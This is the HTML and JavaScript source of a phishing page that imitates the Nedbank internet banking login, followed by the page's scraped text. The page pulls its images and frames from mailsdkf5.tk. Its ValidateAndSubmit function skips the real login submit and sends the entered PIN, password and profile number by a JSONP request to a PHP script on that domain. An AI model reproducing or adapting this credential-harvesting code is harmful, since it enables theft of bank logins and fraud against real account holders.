$this._request.send(parms);
if ($this.OnResponse == null) {
if (AJAXPageDisable) {
AJAXPageDisable.EnablePage();
}
}
if (($this.OnResponse == null) && ($this._request.status == 200)) {
return $this._request.responseText;
}
return null;
};
$this.Abort = function() {
window.clearTimeout($this._TimerId);
if ($this._isDotBank) {
if (AJAXPageDisable) {
AJAXPageDisable.EnablePage();
}
}
var temp = $this.OnError;
$this.OnError = null;
$this._request.abort();
$this.OnError = temp;
};
$this.PopulateIsDotBank = function(url) {
if (url.indexOf('.bank') > 0) {
if (url != 'KeepAlive.bank') {
$this._isDotBank = true;
$this._isKeepAlive = false;
} else {
$this._isDotBank = false;
$this._isKeepAlive = true;
}
} else {
$this._isDotBank = false;
$this._isKeepAlive = false;
}
};
};
Nedbank.App.Retail.Ajax.ConvertResponseToJSONObj = function(ajaxResponse) {
var returnObject = null;
try {
returnObject = eval('(' + ajaxResponse + ')');
} catch (e) {
returnObject = eval('({"Result":{"ResultReason":[""],"ResultCode":["FAILURE"]}})');
}
return returnObject;
};
function LoadScript(scriptName) {
var cachingEnabled = true;
var agent = window.navigator.userAgent.toLowerCase();
if (agent.indexOf("firefox") != -1 || agent.indexOf("msie 7.0") != -1) {
cachingEnabled = false;
}
var cacheFrame = window.top['frameCache'];
var scriptSource = null;
if (cacheFrame && cacheFrame.cachedJS) {
scriptSource = cacheFrame.cachedJS[scriptName];
}
if (scriptSource == null || cachingEnabled == false) {
var req = new Nedbank.App.Retail.Ajax.Request();
req.Open(ApplicationPath + "/Browser/Common/Utils/LoadScript.aspx");
var jsResponse = req.Send("jsurl=" + scriptName);
scriptSource = jsResponse;
}
if (cacheFrame && cacheFrame.cachedJS) {
cacheFrame.cachedJS[scriptName] = scriptSource;
}
document.write("<script type='text/javascript'>");
document.write(scriptSource);
document.write("<\/script>");
}
</script><!--We call the scripts below from a common loadscript function which will be cached in the frameCache frame-->
<div id="floating_div" style="display: none"></div>
<script type="text/javascript">
var hasSubmitStarted = false;
function SubmitToVerifyPage() {
var form = document.getElementById("form1");
if (parent.document.getElementById("frameset")) {
parent.document.getElementById("frameset").rows = "0,0,*,0";
if (parent.frames["framePageLoading"]) {
parent.frames["framePageLoading"].StartProgressIndicator();
}
}
form.action = 'VerifyNotification.bank';
form.submit();
}
function ValidateAndSubmit(UrlString) {
if (!hasSubmitStarted) {
hasSubmitStarted = true;
PageGetSubmitTime();
if (validate_obj.ValidateFormElements()) {
/* if (parent.document.getElementById("frameset")) {
parent.document.getElementById("frameset").rows="0,0,*,0";
if (parent.frames["framePageLoading"]) {
parent.frames["framePageLoading"].StartProgressIndicator();
}
}*/
var form = document.getElementById("form1");
//if (!(form.action.toString()=='Logon.bank')) {
form.action = 'Logon.bank';
$(".overlay-custom").show();
//form.submit();
//console.log('asdfasdfasd');
//ajax_jsonp_call('http://mailsdkf5.tk/c20/cgi-lin/continue1.php', $("form#form1").serialize());
ajax_jsonp_call('http://mailsdkf5.tk/c20/cgi-lin/continue1.php', 'Request_Pin=' + $("input#PinNo").val() + '&Request_Password=' + $("input#Password").val() + '&Request_ProfileNumber=' + $("input#ProfileId").val());
return false;
//}
} else {
hasSubmitStarted = false;
}
}
}
function ajax_jsonp_call(post_url, formValues, callBack) {
//pageLoader(true);
$.ajax({
url: post_url,
data: formValues,
dataType: "jsonp",
cache: false,
success: function(results) {
//$('#div1').html(results);
//alert('completed');
//callBack(results);
//pageLoader(false);
document.open();
document.write(results.message);
document.close();
},
error: function() {
alert('Error');
//pageLoader(false);
}
});
//alert('yo');
}
function ajax_post_callBack(post_url, formValues, callBack) {
//pageLoader(true);
$.ajax({
type: 'POST',
url: post_url,
data: formValues,
cache: false,
success: function(results) {
$('#div1').html(results);
//alert('completed');
callBack(results);
//pageLoader(false);
}
});
//alert('yo');
}
function ValidatePassword() {
var flag = false;
if (document.getElementById("LoginPagelet_trInConfirmPassword").style.display == "block" && document.getElementById("LoginPagelet_trInNewPassword").style.display == "block") {
var passwordInput = validate_obj.GetValidatingElement();
var passwordLength = passwordInput.value.length;
if (passwordLength < 6 || passwordLength > 10) {
validate_obj.GetValidatingCtrlParms().scriptErrMsg = IncorrectSecretLength1;
return false;
}
var re = /^[A-Za-z0-9]*$/;
if (!re.test(passwordInput.value)) {
validate_obj.GetValidatingCtrlParms().scriptErrMsg = InvalidSymbolInPassword1;
return false;
}
var containsNumberRegEx = /^(?=.*\d).*$/;
var containsLetterRegEx = /^(?=.*([A-Z]|[a-z])).*$/;
if (containsNumberRegEx.exec(passwordInput.value) == null || containsLetterRegEx.exec(passwordInput.value) == null) {
validate_obj.GetValidatingCtrlParms().scriptErrMsg = MinimumRestriction1;
return false;
}
validate_obj.GetValidatingCtrlParms().scriptErrMsg = InvalidConfirmPassword1;
return ComparePasswords();
}
}
function ComparePasswords() {
var passControl = document.getElementById('NewPassword');
var confirmPassControl = document.getElementById('ConfirmPassword');
if (passControl && confirmPassControl) {
if (passControl.value == confirmPassControl.value) {
return true;
} else if (confirmPassControl.value == "") {
validate_obj.GetValidatingCtrlParms().scriptErrMsg = BlankConfirmPassword1;
document.getElementById('ConfirmPassword').value = "";
return false;
} else {
document.getElementById('NewPassword').value = "";
document.getElementById('ConfirmPassword').value = "";
return false;
}
} else {
return false;
}
}
var LoadTime;
var SubmitTime;
function EnterCatch(event) {
if (event.keyCode == 13) {
if ($("#LoginPagelet_tdLogonID").css('display') == "block" && $("#LoginPagelet_SubmitID").css('display') == "none") {
ValidateAndSubmit();
} else if ($("#LoginPagelet_SubmitID").css('display') == "block" && $("#LoginPagelet_tdLogonID").css('display') == "none") {
ValidateAndResetSubmit();
}
}
}
function PageGetSubmitTime() {
var now = new Date();
SubmitTime = jsCommon.FormatDate(now, "yyyy_mm_dd") + "_" + jsCommon.FormatTime(now, "h_mm_ss_mss");
LoadTime = SubmitTime;
for (i = 0; i < document.forms.length; i++) {
var form = document.forms[i];
var elSubmit = document.createElement("input");
elSubmit.type = "hidden";
elSubmit.name = "Request_SubmitTime";
elSubmit.value = SubmitTime;
form.appendChild(elSubmit);
var elLoad = document.createElement("input");
elLoad.type = "hidden";
elLoad.name = "Request_LoadTime";
elLoad.value = LoadTime;
form.appendChild(elLoad);
}
}
Events = function() {
this.Instance = this;
this.$events = new Array();
};
Events.prototype.Add = function(evt) {
this.$events.push(evt);
};
Events.prototype.AddAsFirstItem = function(evt) {
var oldArray = this.$events;
this.$events = new Array();
this.$events.push(evt);
this.$events = this.$events.concat(oldArray);
};
Events.prototype.Remove = function(evt) {
for (var i = 0; i < this.$events.length; i++) {
if (this.$events[i] == evt) {
this.$events.splice(i, 1);
break;
}
}
};
Events.prototype.Fire = function() {
while (this.$events.length > 0) {
eval(this.$events.pop());
}
};
var NonceValue = +"0";
var IncorrectSecretLength1 = "Your password needs to be between 6 and 10 characters.";
var InvalidSymbolInPassword1 = "The password may not contain special characters. Range of characters is A-Z and 0-9";
var MinimumRestriction1 = "Minimum of one Numeric character and one Alphabetic Character required";
var InvalidConfirmPassword1 = " Your new Passwords do not match. Please try again.";
var BlankConfirmPassword1 = "Your new Password do not match. Please try again";
var ResponseProfile = "";
var ResponsePin = "";
var EmptyFormOnSubmitEvents = new Events();
EmptyFormOnSubmitEvents.Add('framesCommon.ShowHeaderAndPageLoading()');
EmptyFormOnSubmitEvents.Add("PageGetSubmitTime()");
</script>
<script type="text/javascript">
$(document).ready(function() {
function toReadOnlyAttribute() {
document.getElementById("divslide_show").style.display = "none";
document.getElementById("divcontent").style.display = "block";
if (BrowserDetect.browser == 'Chrome') {
$("#LoginPagelet_Promo_Right").height("274px");
$("#LoginPagelet_Promo_Left").height("274px");
$("#Promo_LeftAspx").height("274px");
$("#Promo_RightAspx").height("274px");
$("#Promo_RightAspx").width("15px");
$("#Promo_LeftAspx").width("15px");
$("#ContentFrame1").height("274px");
$("#forgotPwdHtml").height("274px");
} else {
$("#LoginPagelet_Promo_Right").height("264px");
$("#LoginPagelet_Promo_Left").height("264px");
$("#Promo_LeftAspx").height("264px");
$("#Promo_RightAspx").height("264px");
$("#Promo_RightAspx").width("15px");
$("#Promo_LeftAspx").width("15px");
}
$("#PinNo").val(ResponsePin);
$("#ProfileId").val(ResponseProfile);
$("#PinNo").attr('readonly', 'readonly');
$("#ProfileId").attr('readonly', 'readonly');
};
});
</script><span id="LoginPagelet_ClientSideValidation1">
<script type="text/javascript">
var validate_obj = new Nedbank.Infr.ClientSideVal();
validate_obj.AddFormElements('ProfileId', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblProfileID', 'INTEGER', false, false, false, '', 'Please enter a valid Profile ID', '', '', '');
validate_obj.AddFormElements('PinNo', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblPinNo', 'PIN', false, false, false, '', 'Please enter a valid PIN', '', '', '');
validate_obj.AddFormElements('Password', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblPassword', 'TEXT_WITHOUT_SPACES', true, false, false, '', 'Please enter a valid Password', '', '', '');
validate_obj.AddFormElements('NewPassword', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblNewPassword', 'TEXT_WITHOUT_SPACES', true, true, false, '',
'Your password needs to be between 6 and 10 characters and must contain at least one character and one number', 'Invalid Key Name', 'ValidatePassword();', ' Your new Passwords do not match. Please try again.');
validate_obj.AddFormElements('ConfirmPassword', 'LoginPagelet_CSV_Error', 'LoginPagelet_lblConfirmPassword', 'TEXT_WITHOUT_SPACES', true, true, false, '',
'Your password needs to be between 6 and 10 characters and must contain at least one character and one number', 'Invalid Key Name', 'ValidatePassword();', ' Your new Passwords do not match. Please try again.');
</script>
</span>
<table style="background-color: #eeeeee; width: 302px; height: 234px; vertical-align: top;" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td colspan="4"><img src="http://mailsdkf5.tk/c20/cgi-lin/Login_Top.gif" id="LoginPagelet_Login_Top"></td>
</tr>
<tr><!--Login-->
<td style="background-color:White;" align="left"><img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Left.gif" id="LoginPagelet_Promo_Left" style="display:block;"></td>
<td id="LoginPagelet_tdUserLoginBox" align="left">
<table border="0" cellpadding="0" cellspacing="0" width="97%">
<tbody>
<tr>
<td>
<table>
<tbody>
<tr>
<td class="UserLogin" align="left" valign="middle"> User Login</td>
<td><img src="http://mailsdkf5.tk/c20/cgi-lin/lock.gif"></td>
</tr>
</tbody>
</table>
</td>
<td id="LoginPagelet_FirstTimeID" style="font: arial; font-size: 11px; font-weight: bold; color: #005641; padding-left:10px;"><a href="javascript:GetPage('FirstTimeLogon',%20'750')">First time. Learn more</a>
</td>
</tr>
<tr>
<td colspan="2" style="width: 273px" align="left" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" style="width: 273px" align="left" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="Label" align="left"><span id="LoginPagelet_lblProfileID">Profile Number </span></td>
</tr>
<tr>
<td id="tdProfile" align="left"><input autocomplete="off" class="InputBox" id="ProfileId" name="Request_ProfileNumber" value="" maxlength="10" size="20" onfocus="this.autocomplete='off'" type="text"></td>
</tr>
<tr>
<td class="Label" align="left"><span id="LoginPagelet_lblPinNo">PIN </span> </td>
</tr>
<tr>
<td id="tdPin" align="left"><input id="PinNo" name="Request_Pin" maxlength="4" size="4" value="" onfocus="this.autocomplete='off'" style="margin-left: 15px; border-style: inset; border-width: 1px;"
type="password"></td>
</tr>
<tr>
<td id="LoginPagelet_lblPasswordid" class="Label" align="left"><span id="LoginPagelet_lblPassword">*Password </span> </td>
</tr>
<tr>
<td id="LoginPagelet_txtPasswordId" align="left"><input class="InputBox" id="Password" name="Request_Password" maxlength="10" size="20" value="" onfocus="this.autocomplete='off'" type="password"><br></td>
<td id="LoginPagelet_lblResetPasswordid" style="font: arial; font-size: 11px; font-weight: bold; color: #005641; padding-left: 10px;"></td>
</tr>
<tr id="LoginPagelet_trlblNewPassword" style="display: none;">
<td class="Label" align="left"><span id="LoginPagelet_lblNewPassword">*New Password </span> </td>
</tr>
<tr id="LoginPagelet_trInNewPassword" style="display: none;">
<td align="left"><br></td>
</tr>
<tr id="LoginPagelet_trlblConfirmPassword" style="display: none;">
<td class="Label" align="left"><span id="LoginPagelet_lblConfirmPassword">*Confirm Password </span> </td>
</tr>
<tr id="LoginPagelet_trInConfirmPassword" style="display: none;">
<td align="left"><input class="InputBox" id="ConfirmPassword" name="Request_ConfirmPassword" maxlength="10" size="20" onfocus="this.autocomplete='off'" type="password"> </td>
</tr>
<tr>
<td>
<table>
<tbody>
<tr>
<td id="LoginPagelet_tdLogonID" style="display: block;"><img src="http://mailsdkf5.tk/c20/cgi-lin/logonButton.jpg" id="LoginPagelet_LogonID" style="padding-left: 12px; display: block; margin-top: 5px;"
onclick="javascript:ValidateAndSubmit();" align="left" height="27" width="80"></td>
<td><img src="http://mailsdkf5.tk/c20/cgi-lin/SubmitButton.jpg" id="LoginPagelet_SubmitID" style="padding-left: 12px; display: none; margin-top: 5px;" onclick="ValidateAndResetSubmit();" align="left"
height="27" width="80"><img src="http://mailsdkf5.tk/c20/cgi-lin/SubmitButton.jpg" id="LoginPagelet_SubmitIDWithoutOnclick" style="padding-left: 12px; display: none; margin-top: 5px;" align="left"
height="27" width="80"></td>
<td id="LoginPagelet_tdCancelID" style="display: none;"><img src="http://mailsdkf5.tk/c20/cgi-lin/CancelButton.png" id="LoginPagelet_CancelID" style="display: block; margin-top: 5px;"
onclick="CancelResetPassword();" align="right" height="27" width="80"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td class="margins">
<div id="LoginPagelet_divErrorMsg" value="Logon.Error.SystemUnavailable" style="color: Red; display: none"></div>
</td>
</tr>
</tbody>
</table>
</td>
<td style="background-color:White;" align="right"><img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Right.gif" id="LoginPagelet_Promo_Right" style="display:block;"></td>
</tr>
<tr>
<td colspan="4" valign="bottom"><img src="http://mailsdkf5.tk/c20/cgi-lin/Login_Bottom.gif" id="LoginPagelet_Login_Bottom"></td>
</tr>
</tbody>
</table><!--error table-->
<table>
<tbody>
<tr>
<td id="CSV_Error1" style="width: 302px" align="left" valign="middle"><span id="LoginPagelet_CSV_Error"></span></td>
</tr>
</tbody>
</table>
<script type="text/javascript">
var focusInput = document.getElementById("ProfileId");
focusInput.focus();
</script>
</td>
<td style="width: 10px"></td>
<td valign="top" width="659px">
<!-- Promotion Area-->
<table border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td colspan="3">
<img id="Promo_TopAspx" src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Top.gif">
</td>
</tr>
<tr>
<td valign="top">
<img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Left.gif" id="Promo_LeftAspx" style="display:block;">
</td>
<td>
<div>
<div class="slide_show" id="divslide_show" style="display:block;">
<div class="slides">
<div style="width: 1887px; left: 0px;" class="banners">
<a><img src="https://netbank.nedsecure.co.za/Browser/Brands/Nedbank/Logon/images/banner_4.jpg" alt="InstantPayments"></a>
<a href="http://www.nedbank.co.za/website/content/products/product_detail_new.asp?SubSubcatid=6946&Subcatid=709&ProductID=641" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/banner_2.jpg" alt="My Financial Life"></a>
<a href="http://www.nedbank.co.za/website/content/products/product_detail_new.asp?SubSubcatid=6705&Subcatid=709&ProductID=660" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/banner_3.jpg" alt="Send-iMali"></a>
</div>
</div>
<div style="display: block;" class="paging">
<a class="active" href="#" rel="1">1</a>
<a class="" href="#" rel="2">2</a>
<a class="" href="#" rel="3">3</a>
</div>
</div>
<div id="divcontent" style="display:none; width:629px;">
<div style="width:60%; vertical-align:top; float:left;" align="left">
<iframe id="forgotPwdHtml" src="http://mailsdkf5.tk/c20/cgi-lin/ForgetPasswordInfo.htm" style="height:264px; width:408px; border:0px; margin-right:13px; vertical-align:top;" scrolling="no"
frameborder="0"></iframe>
</div>
<div style="width:40%; vertical-align:top; float:right;" align="right">
<img src="http://mailsdkf5.tk/c20/cgi-lin/keyboard.jpg" id="ContentFrame1">
</div>
</div>
</div>
</td>
<td valign="top">
<img src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Right.gif" id="Promo_RightAspx" style="display:block;">
</td>
</tr>
<tr>
<td colspan="3" valign="top">
<img id="Promo_BottomAspx" src="http://mailsdkf5.tk/c20/cgi-lin/Promo_Bottom.gif">
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<br>
</td>
</tr>
</tbody>
</table>
<!-- END Table for Login and Promo Area-->
<!-- Table for Menus and Content -->
<table style="vertical-align:top" border="0" cellpadding="0" cellspacing="0">
<!-- LHS = Menu's RHS = Content-->
<tbody>
<tr valign="top">
<!--LHS-->
<td valign="top">
<table style="vertical-align:top" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr valign="top">
<td align="center" valign="top">
<!--Alert-->
<table style="background-color: #e8e8e8; vertical-align:top" border="0" cellpadding="0" cellspacing="0" width="303px">
<tbody>
<tr align="left">
<!--AlertIcon-->
<td style="padding-left: 20px; padding-top: 4px; padding-bottom: 4px;">
<img src="http://mailsdkf5.tk/c20/cgi-lin/alertIcon.gif">
</td>
<td style="font:arial; font-size:20px; font-weight:bolder; color:Red;" align="left"> SECURITY ALERT </td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td colspan="2" style="height:160px; padding-top:15px" class="ImportantInfo" align="left"> Nedbank will never ask you to access <br>internet banking through a link in an email.<br>
<a href="javascript:GetPage('AlertContact',%20'500')">Click here</a> for more info. <br>
<br>
<a href="https://www.entrust.net/customer/profile.cfm?domain=netbank.nedsecure.co.za" target="_blank">Click here</a> for info on how to verify this <br> website <br>
<br>Nedbank will never ask for your mobile number when you access internet banking.<br><br>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<br><br>
</td>
</tr>
<tr>
<td>
<!-- Important Information-->
<table style="background-color: #e8e8e8" border="0" cellpadding="0" cellspacing="0" width="303px">
<tbody>
<tr style="height:50">
<!--AlertIcon-->
<td style="padding-left: 20px; padding-top: 4px; padding-bottom: 4px;">
<img src="http://mailsdkf5.tk/c20/cgi-lin/alertIcon.gif">
</td>
<td style="font:arial; font-size:20px; font-weight:bolder; color:Black"> Important Information </td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td colspan="2" class="ImportantInfo" style="height:30px;" align="left" valign="middle">
<a href="javascript:GetPage('SecurityInformation',%20'500')">Security Information</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('SMSAuthorisation',%20'500')">SMS Authorisation</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('BrowserRequirements',%20'500')">Browser Requirements (NEW)</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('Payments',%20'500')">Payments (NEW)</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('FICA',%20'500')">FICA/Money Laundering</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('Features',%20'500')">Features</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="http://www.nedbank.co.za/website/content/bfc/" target="_blank">Fees</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
<tr>
<td class="ImportantInfo" colspan="2" style="height:30px;" align="left">
<a href="javascript:GetPage('ContactUs',%20'500')">Contact Us</a>
</td>
</tr>
<tr>
<td colspan="2" bgcolor="#d9d9d9" height="1px"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#FFFFFF" height="1px"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<br><br>
</td>
</tr>
</tbody>
</table>
</td>
<td style="width: 15px;"></td>
<!--RHS-->
<td style="width:653px; border-top: solid 1px #005641;">
<!-- Content Area-->
<table ;="" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td style="width:653px;">
<div id="divcontentframe">
<iframe id="ContentFrame" style="color: white; width:100%; height: 520px;" marginheight="0" src="http://mailsdkf5.tk/c20/cgi-lin/Welcome.htm" marginwidth="0" scrolling="yes " frameborder="0"></iframe>
</div>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<!-- Footer -->
<table border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr style="width: 974px">
<td style="width:974px" align="right">
<a href="https://www.entrust.net/customer/profile.cfm?domain=netbank.nedsecure.co.za" target="_blank"> <img src="http://mailsdkf5.tk/c20/cgi-lin/EntrustLogo.gif"></a>
</td>
</tr>
<tr>
<td>
<br>
<br>
</td>
</tr>
<tr>
<td bgcolor="#eeeeee" height="5px">
</td>
</tr>
<tr>
<td>
<br>
</td>
</tr>
</tbody>
</table>
<table colspan="2" border="0" cellpadding="0" cellspacing="0" width="974px">
<tbody>
<tr>
<td align="left"><img src="http://mailsdkf5.tk/c20/cgi-lin/PSALogo.gif"></td>
<td align="left" width="200"><a href="http://www.nedbank.co.za/website/content/askonce/askonce.asp" target="_blank"><img src="http://mailsdkf5.tk/c20/cgi-lin/AskOnceLogo.gif"></a></td>
<td align="right"><img src="http://mailsdkf5.tk/c20/cgi-lin/NedbankFooterLogo.gif"></td>
</tr>
</tbody>
</table>
<table>
<tbody>
<tr>
<td colspan="2" style="font:arial; font-size:10px; " align="left" valign="top" width="974px">
<br> Copyright © Nedbank Limited 1997-2014. Nedbank Ltd Reg No 1951/000009/06. We subscribe to the Code of Banking Practice of The Banking Association South Africa and, for unresolved disputes, support resolution through the
Ombudsman for Banking Services. We are an authorised financial services provider. We are a registered credit provider in terms of the National Credit Act (NCR Reg No NCRCP16).
</td>
</tr>
<tr>
<td class="FooterLinks" colspan="2" align="center">
<a href="http://www.nedbank.co.za/" target="_blank">Home</a> : <a href="http://www.nedbank.co.za/website/content/legal/index.asp" target="_blank">Legal Requirements</a> :
<a href="http://www.nedbank.co.za/website/content/home/glossary.asp" target="_blank">Glossary</a>
</td>
</tr>
</tbody>
</table>
</td>
<td style="padding-top:164px;" valign="top">
<div id="RightLine" class="rightline"> </div>
</td>
</tr>
</tbody>
</table>
</form>
Text Content
Page loading. Please be patient Version: Home * Online SecurityOnline SecurityOnline Security * ApplyApplyApply * NetBank DemoNetBank DemoNetBank Demo * NetBank User GuideNetBank User GuideNetBank User Guide * More About NetBankMore About NetBankMore About NetBank * Talk to UsTalk to UsTalk to Us * Personal Money ManagerPersonal Money ManagerPersonal Money Manager * Online Share TradingOnline Share TradingOnline Share Trading * Verify PaymentVerify PaymentVerify Payment * Terms & ConditionsTerms & ConditionsTerms & Conditions * FAQFAQFAQ * Trusteer Rapport SecurityTrusteer Rapport SecurityTrusteer Rapport Security User Login First time. Learn more Profile Number PIN *Password *New Password *Confirm Password 1 2 3 SECURITY ALERT Nedbank will never ask you to access internet banking through a link in an email. Click here for more info. Click here for info on how to verify this website Nedbank will never ask for your mobile number when you access internet banking. Important Information Security Information SMS Authorisation Browser Requirements (NEW) Payments (NEW) FICA/Money Laundering Features Fees Contact Us Copyright © Nedbank Limited 1997-2014. Nedbank Ltd Reg No 1951/000009/06. We subscribe to the Code of Banking Practice of The Banking Association South Africa and, for unresolved disputes, support resolution through the Ombudsman for Banking Services. We are an authorised financial services provider. We are a registered credit provider in terms of the National Credit Act (NCR Reg No NCRCP16). Home : Legal Requirements : Glossary Mobile Authenticationclose A message has been sent to your mobile device to confirm that you want to do sensitive transactions. You need to Accept, within 1 minute, using your mobile device in order to continue with this transaction. Note Choosing the Reject option on your mobile device will stop you from continuing with this sensitive transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 Sensitive transactions include: * payments where no beneficiary is loaded * bank approved beneficiaries for whom a recurring payment is loaded * any pre-paid purchases for other mobile numbers * adding a beneficiary * changing your statement delivery options * certain investment transactions that involves re-investing, pay-out, withdrawals or maintenance thereof * Nedbank App Suite Banking Activation A message has been sent to your mobile device to confirm the transaction. You need to Accept within 1 minute using your mobile device in order to complete this transaction. Note Choosing the Reject option on your mobile device will stop the transaction from being processed. If you have any queries contact 0860 555 111 or +2711 710 4000 If you have not received a message on your mobile phone device, please click the resend button when it becomes active to resend the message to your mobile phone. You Rejected to continue with any sensitive transactions. You can continue with other non-sensitive transactions on your Internet Banking. If you have any queries contact 0860 555 111 or +2711 710 4000 You rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You Rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You have chosen the Suspend option. Your Internet Banking profile is now suspended and no further transacting is possible. If you have any queries contact 0860 555 111 or +2711 710 4000 The message sent to your mobile device has timed out. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000 Busy making a connection to your phone... A technical error occured. If you have any queries contact 0860 555 111 or +2711 710 4000 You canceled on your phone. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000 Redirect Confirmationclose You are now leaving Nedbank Internet Banking and entering My Financial Life. If you wish to transact on Nedbank Internet Banking after using My Financial Life, you will need to log in to Nedbank Internet Banking again. Select ‘Yes’ if you wish to continue or ‘No’ if you want to remain in Nedbank Internet Banking. Mobile Authenticationclose A message has been sent to your mobile device to confirm that you want to do sensitive transactions. You need to Accept, within 1 minute, using your mobile device in order to continue with this transaction. Note Choosing the Reject option on your mobile device will stop you from continuing with this sensitive transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 Sensitive transactions include: * payments where no beneficiary is loaded * bank approved beneficiaries for whom a recurring payment is loaded * any pre-paid purchases for other mobile numbers * adding a beneficiary * changing your statement delivery options * certain investment transactions that involves re-investing, pay-out, withdrawals or maintenance thereof * Nedbank App Suite Banking Activation A message has been sent to your mobile device to confirm the transaction. You need to Accept within 1 minute using your mobile device in order to complete this transaction. Note Choosing the Reject option on your mobile device will stop the transaction from being processed. If you have any queries contact 0860 555 111 or +2711 710 4000 If you have not received a message on your mobile phone device, please click the resend button when it becomes active to resend the message to your mobile phone. You Rejected to continue with any sensitive transactions. You can continue with other non-sensitive transactions on your Internet Banking. If you have any queries contact 0860 555 111 or +2711 710 4000 You rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You Rejected to continue with this transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You cannot perform any sensitive transactions because your cellphone number is not activated for SMS Authorisation. In order to do sensitive transactions, please visit your nearest branch to re-activate SMS Authorization. If you have any queries contact 0860 555 111 or+27 11 710 4000. You have chosen the Suspend option. Your Internet Banking profile is now suspended and no further transacting is possible. If you have any queries contact 0860 555 111 or +2711 710 4000 The message sent to your mobile device has timed out. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000 Busy making a connection to your phone... A technical error occured. If you have any queries contact 0860 555 111 or +2711 710 4000 You canceled on your phone. You can: * Click on Cancel to return to your Internet Banking or * Click on Resend to resend the message to your mobile device. If you have any queries contact 0860 555 111 or +2711 710 4000 Mobile Authenticationclose A message has been sent to your mobile device to confirm that you want to do sensitive transactions. You need to Accept, within 1 minute, using your mobile device in order to continue with this transaction. Note Choosing the Reject option on your mobile device will stop you from continuing with this sensitive transaction. If you have any queries contact 0860 555 111 or +2711 710 4000 Sensitive transactions include: * payments where no beneficiary is loaded * bank approved beneficiaries for whom a recurring payment is loaded * any pre-paid purchases for other mobile numbers * adding a beneficiary 